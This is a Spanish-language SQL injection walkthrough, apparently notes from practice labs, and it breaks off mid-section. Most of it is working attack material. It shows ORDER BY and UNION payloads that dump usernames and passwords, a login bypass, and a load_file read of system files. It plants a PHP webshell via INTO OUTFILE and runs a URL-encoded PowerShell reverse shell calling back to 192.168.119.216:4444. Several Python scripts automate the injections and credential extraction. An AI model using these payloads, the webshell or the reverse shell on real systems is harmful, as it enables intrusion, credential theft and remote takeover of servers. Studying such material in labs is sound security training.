# Atacando la vulnerabilidad SQLi

## Enumerando la DB

Cuando tenemos una SQLi, podemos enumerar la DB, pero para lograr esto, necesitamos la informacion de las columnas y nombres de las tablas si es que queremos extraer informacion de estos.

### Enumeración del número de columnas

Podemos usar un `order by` para hacer una enumeración simple. Esto le dice a la DB que ordene los resultados de la query por el valor del resultado en una o más columnas. Se puede usar el nombre de las columnas o el index en la query:

```
http://192.168.216.10/debug.php?id=1 order by 1
```

Esta query le indica a la DB que ordene los resultados en base al valor de la primera columna. Si se tiene al menos una columna, se enviará la información sin errores:

<figure><img src="/files/CaRkNs9RUyLDWUNtaBd7" alt=""><figcaption><p>ORDER BY Payload 01</p></figcaption></figure>

<figure><img src="/files/FXT78FG9o87T81itt99z" alt=""><figcaption><p>ORDER BY Payload 02</p></figcaption></figure>

<figure><img src="/files/nLhWOf9SAv0QA7OCvk6z" alt=""><figcaption><p>ORDER BY Payload 03</p></figcaption></figure>

<figure><img src="/files/MXgvNGYqd2ngtYR7tou8" alt=""><figcaption><p>ORDER BY Payload 04</p></figcaption></figure>

### Entendiendo el layout de la salida

Podemos usar la declaración [`UNION`](https://www.sqlshack.com/es/revision-ejemplos-y-uso-de-sql-union/) para extraer data, en base a la cantidad de columnas de la tabla. `UNION`permite agregar una segunda declaración `select` a la query original, extendiendo nuestra capacidad (cada declaración debe retornar la misma cantidad de columnas).

Lo primero es validar qué columnas son mostradas en la página.

Como ya sabemos la cantidad de columnas que se tienen, es necesario chequear cuales se muestran usando la declaración `union all select 1, 2, 3`:

<figure><img src="/files/5Y4gAP4mnyVHicKlQ3Ii" alt=""><figcaption><p>UNION Payload 01</p></figcaption></figure>

La columna 1 no se muestra, la 2 muestra el campo del nombre, y la 3 corresponde a los comentarios (el campo Comentario tiene más espacio, por lo que este es un lugar lógico para la salida de nuestro futuro exploit).

### Extrayendo data desde la DB (MariaDB)

Validamos la versión de la DB reemplazando el campo 3 con lo siguiente `@@version`:

<figure><img src="/files/WSrAUHNCiV5pWQ94jalC" alt=""><figcaption><p>Versión de la DB</p></figcaption></figure>

Ahora lo reemplazamos con `user()` para obtener el usuario actual de la DB:

<figure><img src="/files/nj4c8wTwSEn85cfgPWyS" alt=""><figcaption><p>Usuario de la DB</p></figcaption></figure>

Podemos enumerar tablas y columnas de la DB a través de `information_schema`. Este almacena informacion sobre la DB, como el nombre de las tablas y columnas. Si queremos obtener el nombre de las tablas, se debe usar el siguiente payload `table_name from information_schema.tables`:

<figure><img src="/files/QOMba9Qv5JnPpUoo4kv2" alt=""><figcaption><p>Enumeración de las tablas</p></figcaption></figure>

Ahora que tenemos el nombre de las tablas, podemos usar el siguiente payload para obtener los nombres de las columnas `column_name from information_schema.columns where table_name='users'`:

<figure><img src="/files/lgUEsuN1url3WZ6chnzX" alt=""><figcaption><p>Enumeración de las columnas de la tabla users</p></figcaption></figure>

Con esta información podemos llamar las columnas `username` y `password` desde la tabla `users`:

<figure><img src="/files/ScgJtLgHsDTsqc3dDPIR" alt=""><figcaption><p>Dump username y password</p></figcaption></figure>

## Ejecución de código usando SQLi

Lo primero que se puede intentar al ejecutar código desde la base de datos, es leer archivos usando la función `load_file`:

```
http://192.168.216.10/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
```

<figure><img src="/files/8RR7YkVkrAAQBESE265a" alt=""><figcaption><p>load_file</p></figcaption></figure>

Ahora, usando la función `INTO OUTFILE`, creamos un archivo PHP malicioso, con el cual, podremos ejecutar código:

```
http://192.168.216.10/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']); ?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
```

<figure><img src="/files/dRnKMpStUnuRsmgMa3dm" alt=""><figcaption><p>INTO OUTFILE</p></figcaption></figure>

<figure><img src="/files/TcFX7aECxTeQBid6U9NY" alt=""><figcaption><p>Webshell</p></figcaption></figure>

Con el siguiente payload, obtenemos una full shell:

```
http://192.168.216.10/backdoor.php?cmd=powershell%20-nop%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27192.168.119.216%27%2C4444%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
```

<figure><img src="/files/1iVCYbPqgrOiQhCTaYs3" alt=""><figcaption><p>Full shell</p></figcaption></figure>

## SQLi en la cláusula WHERE, permitiendo obtener datos ocultos

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos.

El ejemplo de la query que se realiza a la DB es la siguiente:

```sql
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

En este caso, debemos desplegar todos los productos de cualquier categoría.

Validamos que nos despliega la aplicación cuando seleccionamos una categoría:

<figure><img src="/files/93lu9krDuKPs381j8ynA" alt=""><figcaption><p>Categorías</p></figcaption></figure>

<figure><img src="/files/N687cyAZWgWbzH9BaFL3" alt=""><figcaption><p>Productos</p></figcaption></figure>

Ahora, modificamos el valor de la categoría por una comilla simple (`'`):

<figure><img src="/files/8NYfeDhlBzHWMoILnNeM" alt=""><figcaption><p>Payload 1</p></figcaption></figure>

Al modificar este valor, se presenta un error en la aplicación. Esto se puede deber a que modificamos la query a algo similar a lo siguiente:

```sql
SELECT * FROM products WHERE category = ''' AND released = 1
```

Usamos el siguiente payload `'-- -` para validar si aún se presenta el mismo error:

```sql
SELECT * FROM products WHERE category = ''-- -' AND released = 1
```

<figure><img src="/files/jhrjwN6jYUTBrSWIwakN" alt=""><figcaption><p>Payload 2</p></figcaption></figure>

Si queremos obtener todos los productos, debemos crear una query donde, se valide algún parámetro como verdadero, por lo tanto, usaremos el siguiente payload `' or 1=1 -- -`:

```sql
SELECT * FROM products WHERE category = '' or 1=1 -- -' AND released = 1
```

<figure><img src="/files/ZiKAqtspnFRfEGYkzdS4" alt=""><figcaption><p>Payload 3</p></figcaption></figure>

Para poder automatizar esto, podemos usar el siguiente script, el cual, valida si se refleja algún producto que no aparece en el catálogo en producción:

```python
#!/usr/bin/python3
import requests
import sys

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, payload):
    uri = '/filter?category='
    r = requests.get(url + uri + payload, verify=False)

    if 'Cheshire Cat Grin' in r.text:
        return True
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
        payload = sys.argv[2].strip()
        
    except IndexError:
        print('[*] Usage: %s <url> <payload>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com "or 1=1"' %(sys.argv[0]))
        sys.exit(1)

    if exploit_sqli(url, payload):
        print('[+] SQL injection successful!')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/ZOPZRf4jhNW024L4Yp0L" alt=""><figcaption><p>Script</p></figcaption></figure>

## SQLi que permita realizar bypass de login

Se tiene la vulnerabilidad en la funcionalidad de login, en la cual, debemos acceder a la aplicación usando el usuario `administrator`.

Se validan usuarios de prueba, como `admin` y password `admin`:

<figure><img src="/files/H5EpthYfmQL5DhwCvni0" alt=""><figcaption><p>Portal login</p></figcaption></figure>

<figure><img src="/files/7kU6VwXTUhiaZO7w0RYY" alt=""><figcaption><p>Error de usuario o password inválido</p></figcaption></figure>

Vemos que el error no nos permite enumerar usuarios.

Inyectamos una comilla simple (`'`) en las casillas de usuario y en la de password, y vemos que la aplicación responde con un error en ambos casos:

<figure><img src="/files/eaFjoz4Rt2DztzHY0MZC" alt=""><figcaption><p>Error de payload 1</p></figcaption></figure>

En este caso podemos asumir que la query es la siguiente:

```sql
SELECT user FROM users WHERE username = 'administrator' and password = 'password'
```

Intentamos ingresar usando el siguiente payload `admin' -- -`:

<figure><img src="/files/ifpyDUC3cQcB8SIrtgy6" alt=""><figcaption><p>Payload 2</p></figcaption></figure>

Como el usuario `admin` no existe, no podemos ingresar, por lo tanto, lo modificamos ingresando el usuario `administrator`:

<figure><img src="/files/gfEv4mv1FGFrmZJtdk1q" alt=""><figcaption><p>Payload 3</p></figcaption></figure>

<figure><img src="/files/ChLIITaOF7pgpEhHqlv6" alt=""><figcaption><p>Explotación de SQLi</p></figcaption></figure>

Ahora, automatizamos este proceso usando el siguiente script, donde, lo primero es validar como se envían los datos. Esto se puede corroborar usando Burp Suite.

Ya sabiendo como se envían los datos, necesitamos obtener el valor del token CSRF:

<figure><img src="/files/iOdPswHXxlhtX8xwG61H" alt=""><figcaption><p>CSRF</p></figcaption></figure>

El script valida que se tenga en la respuesta el texto `Log out`:

```python
#!/usr/bin/python3
import requests
import sys
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def get_csrf_token(s, url):
    r = s.get(url, verify=False)
    soup = BeautifulSoup(r.text, 'html.parser')
    csrf = soup.find('input')['value']
    print('[*] CSRF Token: %s' %(csrf))
    return csrf

def exploit_sqli(s, url, payload):
    csrf = get_csrf_token(s, url)
    data = {'csrf': csrf,
            'username': payload,
            'password': 'password'}

    r = s.post(url, data=data, verify=False)

    if 'Log out' in r.text:
        return True
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
        payload = sys.argv[2].strip()
        
    except IndexError:
        print('[*] Usage: %s <url> <payload>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com "or 1=1"' %(sys.argv[0]))
        sys.exit(1)

    s = requests.Session()

    if exploit_sqli(s, url, payload):
        print('[+] SQL injection successful! It was possible to logged in as the administrator user.')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/hCvl4rF6CXotH5gCWLfe" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de SQLi usando UNION para determinar las columnas retornadas por la query

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe determinar la cantidad de columnas retornadas por la DB.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/kVieh33zXxphFDfrkh1X" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/CkBD5NBQMWdJaGUZESnF" alt=""><figcaption><p>Payload 1</p></figcaption></figure>

Ahora, al payload le agregamos un comentario para evitar el error `' -- -`:

<figure><img src="/files/iMkKbpTDXyPC1NsopJ0p" alt=""><figcaption><p>Payload 2</p></figcaption></figure>

Para este ataque, podemos usar formas para obtener la cantidad de columnas, poder usar valores NULL, u ORDER BY.

Primero validamos usando valores NULL, donde, tendremos el número de columnas cuando la aplicación deje de mostrar error:

* Payloads:

```
' UNION SELECT NULL-- -
' UNION SELECT NULL, NULL-- -
' UNION SELECT NULL, NULL, NULL-- -
```

<figure><img src="/files/DjH7wBcPVJFChPZ5PQXx" alt=""><figcaption><p>Payload UNION 1</p></figcaption></figure>

<figure><img src="/files/kDheg0H52meaWffGfGSt" alt=""><figcaption><p>Payload UNION 2</p></figcaption></figure>

<figure><img src="/files/2vVp1XJbN5GGmtd3vDV7" alt=""><figcaption><p>Payload UNION 3</p></figcaption></figure>

Vemos que se retornan 3 columnas. Esto se puede obtener usando ORDER BY, donde, cuando se nos presente un error, significa que nos pasamos de la cantidad de columnas de la respuesta:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
```

<figure><img src="/files/3FQTJ4yryWi2F4tjShXx" alt=""><figcaption><p>Payload ORDER BY 1</p></figcaption></figure>

<figure><img src="/files/iLCYf9JK7542Ut3RPYE1" alt=""><figcaption><p>Payload ORDER BY 2</p></figcaption></figure>

<figure><img src="/files/zbvLn7h0uYNhRXrmb74L" alt=""><figcaption><p>Payload ORDER BY 3</p></figcaption></figure>

<figure><img src="/files/vI7Ta1i8Js6iUuEU4Q0l" alt=""><figcaption><p>Payload ORDER BY 4</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script, el cual, valida la cantidad de columnas usando `ORDER BY`:

```python
#!/usr/bin/python3
import requests
import sys

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url):
    uri = '/filter?category=Gifts'
    for i in range(1, 50):
        payload = "'+ORDER+BY+%s--+-" %i
        r = requests.get(url + uri + payload, verify=False)

        if 'Internal Server Error' in r.text:
            return i - 1
        i = i + 1
    return False

def main():
    try:
        url = sys.argv[1].strip()
        
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Figuring out number of columns...')
    num_col = exploit_sqli(url)

    if num_col:
        print('[+] The number of columns is ' + str(num_col) + '.')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/eDniokEcKHKxTTkrVRm4" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de SQLi usando UNION para encontrar la columna que contiene texto

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe determinar cuál columna retornada por la DB tiene string como tipo de datos.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/zozgT9K64mCmrymmgijb" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/AJdXseBvrdxJmzt4WEsk" alt=""><figcaption><p>Payload 1</p></figcaption></figure>

Debemos determinar la cantidad de columnas, esto lo podemos usar con `ORDER BY`:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
```

<figure><img src="/files/TgwgDoF2bmK4ZHU7S7mu" alt=""><figcaption><p>Payload ORDER BY 1</p></figcaption></figure>

<figure><img src="/files/tk8pJJ9AaTlflazGtmaF" alt=""><figcaption><p>Payload ORDER BY 2</p></figcaption></figure>

<figure><img src="/files/CrhhvZDZEovzBImQYqfa" alt=""><figcaption><p>Payload ORDER BY 3</p></figcaption></figure>

<figure><img src="/files/AwypXekQ5GFmslHRuKPO" alt=""><figcaption><p>Payload ORDER BY 4</p></figcaption></figure>

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

```
' UNION SELECT 'a', NULL, NULL-- -
' UNION SELECT NULL, 'a', NULL-- -
' UNION SELECT NULL, NULL, 'a'-- -
```

<figure><img src="/files/iOoS2xPaDXm7mpZnizKW" alt=""><figcaption><p>Payload UNION 1</p></figcaption></figure>

<figure><img src="/files/HZj7JkYESIB22rnIUNnw" alt=""><figcaption><p>Payload UNION 2</p></figcaption></figure>

<figure><img src="/files/BMiNY7MzYUWcDTpkvBsS" alt=""><figcaption><p>Payload UNION 3</p></figcaption></figure>

Vemos que la segunda columna usa el tipo de datos string.

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    for i in range(1, 50):
        payload = "'+ORDER+BY+%s--+-" %i
        r = requests.get(url + uri + payload, verify=False)

        if 'Internal Server Error' in r.text:
            return i - 1
        i = i + 1
    return False

def exploit_sqli_string_field(url, uri, num_col):
    for i in range(1, num_col + 1):
        string = "'AsDfG123'"
        payload_list = ['NULL'] * num_col
        payload_list[i - 1] = string
        sqli_payload = "' UNION SELECT " + "," .join(payload_list) + "-- -"

        r = requests.get(url + uri + sqli_payload, verify=False)
        if string.strip('\'') in r.text:
            return i

    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Figuring out number of columns...')
    num_col = exploit_sqli(url, uri)

    if num_col:
        print('[+] The number of columns is ' + str(num_col) + '.')
        print('[+] Figuring out which column contains text...')

        string_column = exploit_sqli_string_field(url, uri, num_col)
        if string_column:
            print('[+] The column ' + str(string_column) + ' contains text.')
        else:
            print('[-] SQL injection was unsuccessful in identifying the data type of columns')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/4svrGMI1ijy9a0F749H5" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de SQLi usando UNION para obtener información de otras tablas

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla `users`, columnas `username` y `password`.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/ZhXvSEueCQ695qRdyACQ" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/GcW2BFwK5K2Xp3IKn2Ht" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Debemos determinar la cantidad de columnas, esto lo podemos usar con `ORDER BY`:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
```

<figure><img src="/files/phTlzh1JopbKxwIQS0fH" alt=""><figcaption><p>Payload ORDER BY 01</p></figcaption></figure>

<figure><img src="/files/uDGGh62WNTThxtC2aloI" alt=""><figcaption><p>Payload ORDER BY 02</p></figcaption></figure>

<figure><img src="/files/Nlp9jcNs1L1asSayi2Ir" alt=""><figcaption><p>Payload ORDER BY 03</p></figcaption></figure>

Ahora, debemos identificar el tipo de datos de cada una de las columnas, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

```
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
```

<figure><img src="/files/scPTqjbEnpFoeEhYfUiR" alt=""><figcaption><p>Payload UNION 01</p></figcaption></figure>

<figure><img src="/files/NM5ZzOu3MeFgN57GrlSC" alt=""><figcaption><p>Payload UNION 02</p></figcaption></figure>

En este caso, ambas columnas usan strings.

Por último, obtenemos los datos solicitados, y accedemos usando la cuenta del usuario `administrator`:

```
' UNION SELECT username, password FROM users-- -
```

<figure><img src="/files/ldhbkqtJ9gfZSot0GM4Z" alt=""><figcaption><p>Payload UNION 03</p></figcaption></figure>

<figure><img src="/files/sW4iRPBPZ9f4ELVi7b5B" alt=""><figcaption><p>Acceso cuenta Administrator</p></figcaption></figure>

La obtención de la contraseña del usuario administrator lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+username,+password+FROM+users--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    if 'administrator' in r.text:
        print('[+] Found the administrator password.')
        soup = BeautifulSoup(r.text, 'html.parser')
        admin_password = soup.body.find(string='administrator').parent.findNext('td').contents[0]
        print('[*] administrator:%s' %(admin_password))
        return True
    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the list of usernames and passwords...')

    if not exploit_sqli(url, uri):
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/OTRvMK6nXZD779H5S2vh" alt=""><figcaption><p>Contraseña del usuario administrator</p></figcaption></figure>

## Ataque de SQLi usando UNION, recuperando múltiples valores en una sola columna

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla `users`, columnas `username` y `password`.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/6LBUUGCi92L27HlCqN7Q" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/7aWm8vaRpwUma94vDJyb" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Debemos determinar la cantidad de columnas, esto lo podemos usar con `ORDER BY`:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
```

<figure><img src="/files/JewVBArwJGZkZZ3L6TVF" alt=""><figcaption><p>Payload ORDER BY 01</p></figcaption></figure>

<figure><img src="/files/wrTRJmMIDnXOIwWie7ob" alt=""><figcaption><p>Payload ORDER BY 02</p></figcaption></figure>

<figure><img src="/files/pILmI6hYzh9tWzGCwqZ1" alt=""><figcaption><p>Payload ORDER BY 03</p></figcaption></figure>

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

```
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
```

<figure><img src="/files/2Nw8x2WEYKMOfY0Ccajw" alt=""><figcaption><p>Payload UNION 01</p></figcaption></figure>

<figure><img src="/files/FjJ13lBVURwfOlfUFESc" alt=""><figcaption><p>Payload UNION 02</p></figcaption></figure>

Ahora debemos saber la versión de la DB para poder determinar qué tipo de concatenación podemos usar:

```
' UNION SELECT NULL, version()-- -
```

<figure><img src="/files/RonrSyJP5WhzYbtFZf4b" alt=""><figcaption><p>Payload para obtener la versión de la DB</p></figcaption></figure>

Ya sabemos que usa una DB en PostgreSQL, por lo tanto, podemos concatenar los datos que necesitamos usando el siguiente payload:

```
' UNION SELECT NULL, username||':'||password FROM users-- -
```

<figure><img src="/files/nMusfoJfVIYkF7YoVsAv" alt=""><figcaption><p>Obtención de usuarios y contraseñas</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+NULL,+username||':'||password+FROM+users--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    if 'administrator' in r.text:
        print('[+] Found the administrator password.')
        soup = BeautifulSoup(r.text, 'html.parser')
        admin_password = soup.body.find(string=re.compile('.*administrator*'))
        print('[*] %s' %(admin_password))
        return True
    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the list of usernames and passwords...')

    if not exploit_sqli(url, uri):
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/KFyDDrzyk4RbpvLnaLz8" alt=""><figcaption><p>Obtención de contraseña del usuario administrator</p></figcaption></figure>

## Ataque de SQLi usando UNION, consultando el tipo y la versión de la base de datos en Oracle

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la versión de la DB.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/yndYx3Ot2tBRHeR94zJq" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/WvkiByDGPs0EsZZSFldC" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Debemos determinar la cantidad de columnas, esto lo podemos usar con `ORDER BY`:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
```

<figure><img src="/files/hTQUMV7gE2pOJutEbxGF" alt=""><figcaption><p>Payload ORDER BY 01</p></figcaption></figure>

<figure><img src="/files/5SDWCe9XA3SuZVfXaUbc" alt=""><figcaption><p>Payload ORDER BY 02</p></figcaption></figure>

<figure><img src="/files/EDDaxoDp0z6TDAgyWidC" alt=""><figcaption><p>Payload ORDER BY 03</p></figcaption></figure>

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

```
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
```

<figure><img src="/files/S5Sx982Pl0ys4Oj8mtko" alt=""><figcaption><p>Payload UNION 01</p></figcaption></figure>

Vemos que no funciona de la forma habitual, y esto se debe a que la DB en uso es Oracle (basado en los requerimientos del lab). Para esto, debemos especificar la tabla que queremos consumir, y para esto, usamos la tabla [DUAL](https://www.oracletutorial.com/oracle-basics/oracle-dual-table/):

```
' UNION SELECT 'a', 'a' FROM DUAL-- -
```

<figure><img src="/files/dzZIZZDfXROHb0FgPxSv" alt=""><figcaption><p>Payload UNION 02</p></figcaption></figure>

Con esto ya podemos obtener información de la versión de la DB:

```
' UNION SELECT 'a', banner FROM v$version-- -
```

<figure><img src="/files/pCHmHDOYrZnIdS2fap44" alt=""><figcaption><p>Obtención de la versión de la DB</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+banner,+NULL+FROM+v$version--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    if 'Oracle Database' in r.text:
        print('[+] Found the database version.')
        soup = BeautifulSoup(r.text, 'html.parser')
        db_version = soup.body.find(string=re.compile('.*Oracle\sDatabase*'))
        print('[*] The Oracle database version is: %s' %(db_version))
        return True
    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the version of the database...')

    if not exploit_sqli(url, uri):
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/jdDd7L6b879K98n9ouqe" alt=""><figcaption><p>Script para obtener la versión de la DB Oracle</p></figcaption></figure>

## Ataque de SQLi usando UNION, consultando el tipo y la versión de la base de datos en MySQL

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la versión de la DB.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/HcgzwW1dZzBujFQv1Rvc" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/jU8RYLDOgRkrIMin3bpw" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Debemos determinar la cantidad de columnas, esto lo podemos usar con `ORDER BY`:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
```

<figure><img src="/files/192LQDkD8aKsxzse46tf" alt=""><figcaption><p>Payload ORDER BY 01</p></figcaption></figure>

<figure><img src="/files/RdGxiA8GtsXhdlWE7xO5" alt=""><figcaption><p>Payload ORDER BY 02</p></figcaption></figure>

<figure><img src="/files/iwa6ct4ioBazu8A05Al3" alt=""><figcaption><p>Payload ORDER BY 03</p></figcaption></figure>

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

```
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
```

<figure><img src="/files/nCSvMcpm0fGUakoP5F99" alt=""><figcaption><p>Payload UNION 01</p></figcaption></figure>

<figure><img src="/files/1uMrxbQL5FlpXNB6Ryt3" alt=""><figcaption><p>Payload UNION 02</p></figcaption></figure>

Con esto ya podemos obtener información de la versión de la DB:

```
' UNION SELECT NULL, @@version-- -
```

<figure><img src="/files/ksoG7WmBV0tf0KopNBlv" alt=""><figcaption><p>Payload para obtener la versión de la DB</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+NULL,+@@version--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    soup = BeautifulSoup(r.text, 'html.parser')
    db_version = soup.find(string=re.compile('.*\d{1,2}\.\d{1,2}\.\d{1,2}.*'))
    if db_version is None:
        return False
    else:
        print('[*] The MySQL database version is: %s' %(db_version))
        return True

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the version of the database...')

    if not exploit_sqli(url, uri):
        print('[-] Unable to dump the database version.!')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/L9x7n7qsnsORUT7lzC2L" alt=""><figcaption><p>Script para obtener la versión de la DB</p></figcaption></figure>

## Ataque de SQLi usando UNION, listando el contenido de la DB en base de datos no Oracle

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla que contiane los usuarios y contraseñas.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/f6Q36CsEMJaRvl553TwJ" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/ZebXoflw700T2ARYmOH3" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Debemos determinar la cantidad de columnas, esto lo podemos usar con `ORDER BY`:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
```

